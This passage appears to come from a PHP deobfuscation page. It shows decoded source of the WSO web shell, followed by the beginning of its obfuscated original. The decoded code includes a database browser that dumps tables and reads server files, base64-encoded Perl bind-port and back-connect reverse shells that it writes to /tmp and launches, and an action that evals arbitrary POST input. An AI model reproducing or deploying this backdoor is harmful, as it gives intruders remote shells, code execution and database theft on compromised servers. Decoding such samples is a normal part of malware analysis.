class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case \'mysql\':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case \'pgsql\':
$host = explode(\':\', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case \'mysql\':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case \'mysql\':
return $this->res = @mysql_query($str);
break;
case \'pgsql\':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case \'mysql\':
return @mysql_fetch_assoc($res);
break;
case \'pgsql\':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case \'mysql\':
return $this->query("SHOW databases");
break;
case \'pgsql\':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case \'mysql\':
return $this->res = $this->query(\'SHOW TABLES\');
break;
case \'pgsql\':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");
break;
}
return false;
}
function error() {
switch($this->type) {
case \'mysql\':
return @mysql_error();
break;
case \'pgsql\':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case \'mysql\':
if(function_exists(\'mysql_set_charset\'))
return @mysql_set_charset($str, $this->link);
else
$this->query(\'SET CHARSET \'.$str);
break;
case \'pgsql\':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case \'mysql\':
return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));
break;
case \'pgsql\':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i[\'file\'];
$this->query(\'drop table wso2\');
return array(\'file\'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case \'mysql\':
$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query(\'SELECT * FROM `\'.$table.\'`\');
$i = 0;
$head = true;
while($item = $this->fetch()) {
$sql = \'\';
if($i % 1000 == 0) {
$head = true;
$sql = ";
";
}
$columns = array();
foreach($item as $k=>$v) {
if($v === null)
$item[$k] = "NULL";
elseif(is_int($v))
$item[$k] = $v;
else
$item[$k] = "\'".@mysql_real_escape_string($v)."\'";
$columns[] = "`".$k."`";
}
if($head) {
$sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES
(".implode(", ", $item).\')\';
$head = false;
} else
$sql .= "
,(".implode(", ", $item).\')\';
if($fp) fwrite($fp, $sql); else echo($sql);
$i++;
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case \'pgsql\':
$this->query(\'SELECT * FROM \'.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "\'".addslashes($v)."\'";
$columns[] = $k;
}
$sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST[\'type\']);
if(@$_POST[\'p2\']==\'download\') {
$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
$db->selectdb($_POST[\'sql_base\']);
switch($_POST[\'charset\']) {
case "Windows-1251": $db->setCharset(\'cp1251\'); break;
case "UTF-8": $db->setCharset(\'utf8\'); break;
case "KOI8-R": $db->setCharset(\'koi8r\'); break;
case "KOI8-U": $db->setCharset(\'koi8u\'); break;
case "cp866": $db->setCharset(\'cp866\'); break;
}
if(empty($_POST[\'file\'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST[\'tbl\'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST[\'file\'], \'w\')) {
foreach($_POST[\'tbl\'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST[\'p2\']);
} else
die(\'<script>alert("Error! Can\'t open file");window.history.back(-1)</script>\');
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>
<td><select name=\'type\'><option value=\'mysql\' ";
if(@$_POST[\'type\']==\'mysql\')echo \'selected\';
echo ">MySql</option><option value=\'pgsql\' ";
if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\"></td><td>";
$tmp = "<input type=text name=sql_base value=\'\'>";
if(isset($_POST[\'sql_host\'])){
if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
switch($_POST[\'charset\']) {
case "Windows-1251": $db->setCharset(\'cp1251\'); break;
case "UTF-8": $db->setCharset(\'utf8\'); break;
case "KOI8-R": $db->setCharset(\'koi8r\'); break;
case "KOI8-U": $db->setCharset(\'koi8u\'); break;
case "cp866": $db->setCharset(\'cp866\'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=\'\'></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
}
echo \'</select>\';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>
<td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db=\'".@addslashes($_POST[\'sql_base\'])."\';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value=\'\';
if(f.p2) f.p2.value=\'\';
if(f.p3) f.p3.value=\'\';
}
}
function st(t,l) {
d.sf.p1.value = \'select\';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)
d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST[\'sql_base\'])){
$db->selectdb($_POST[\'sql_base\']);
echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST[\'sql_count\']))
$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
$value = htmlspecialchars($value);
echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'> <a href=# onclick=\"st(\'".$value."\',1)\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\' \':" <small>({$n[\'n\']})</small>") . "</nobr><br>";
}
echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";
if(@$_POST[\'p1\'] == \'select\') {
$_POST[\'p1\'] = \'query\';
$_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;
$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);
$num = $db->fetch();
$pages = ceil($num[\'n\'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST[\'p2\'] . "\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";
echo " of $pages";
if($_POST[\'p3\'] > 1)
echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>< Prev</a>";
if($_POST[\'p3\'] < $pages)
echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next ></a>";
$_POST[\'p3\']--;
if($_POST[\'type\']==\'pgsql\')
$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
else
$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
echo "<br><br>";
}
if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {
$db->query(@$_POST[\'p2\']);
if($db->res !== false) {
$title = false;
echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo \'<tr>\';
foreach($item as $key => $value)
echo \'<th>\'.$key.\'</th>\';
reset($item);
$title=true;
echo \'</tr><tr>\';
$line = 2;
}
echo \'<tr class="l\'.$line.\'">\';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo \'<td><i>null</i></td>\';
else
echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
}
echo \'</tr>\';
}
echo \'</table>\';
} else {
echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
}
}
echo "<br></form><form onsubmit=\'d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";
if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))
echo htmlspecialchars($_POST[\'p2\']);
echo "</textarea><br/><input type=submit value=\'Execute\'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST[\'type\']==\'mysql\') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");
if($db->fetch())
echo "<form onsubmit=\'d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
}
if(@$_POST[\'p1\'] == \'loadfile\') {
$file = $db->loadFile($_POST[\'p2\']);
echo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
}
} else {
echo htmlspecialchars($db->error());
}
echo \'</div>\';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name=\'nfp\' onSubmit=\"g(null,null,\'bpp\',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>
</form>
<form name=\'nfp\' onSubmit=\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>
</form><br>";
if(isset($_POST[\'p1\'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST[\'p1\'] == \'bpp\') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST[\'p1\'] == \'bcp\') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo \'</div>\';
wsoFooter();
}
function actionRC() {
if(!@$_POST[\'p1\']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get(\'safe_mode\')
);
echo serialize($a);
} else {
eval($_POST[\'p1\']);
}
}
if( empty($_POST[\'a\']) )
if(isset($default_action) && function_exists(\'action\' . $default_action))
$_POST[\'a\'] = $default_action;
else
$_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
call_user_func(\'action\' . $_POST[\'a\']);
exit;'
Did this file decode correctly?
Original Code
<?php
$O0O000="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